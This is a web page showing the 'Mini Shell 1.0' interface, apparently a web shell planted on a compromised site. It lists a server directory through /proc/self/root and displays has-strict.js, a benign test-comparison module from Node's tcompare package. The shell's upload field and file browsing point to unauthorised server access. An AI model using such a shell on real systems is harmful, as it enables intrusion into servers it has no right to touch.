HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/share/nodejs/tcompare/dist/mjs/
Upload File :
Current File : //proc/self/root/usr/share/nodejs/tcompare/dist/mjs/has-strict.js
import { Has } from './has.js';
import { Strict } from './strict.js';
export class HasStrict extends Has {
    test() {
        const a = this.object;
        const b = this.expect;
        // constructor match is relevant to Strict, but HasStrict should
        // not do that, it's inconvenient, since it means you can't do
        // hasStrict(new URL('https://x.com/y'), { pathname: '/y' })
        // So, for objects, we call Same.  Everything else, call Strict.
        if (a &&
            b &&
            typeof a === 'object' &&
            typeof b === 'object' &&
            Array.isArray(a) === Array.isArray(b)) {
            return super.test();
        }
        else {
            return Strict.prototype.test.call(this);
        }
    }
}
//# sourceMappingURL=has-strict.js.map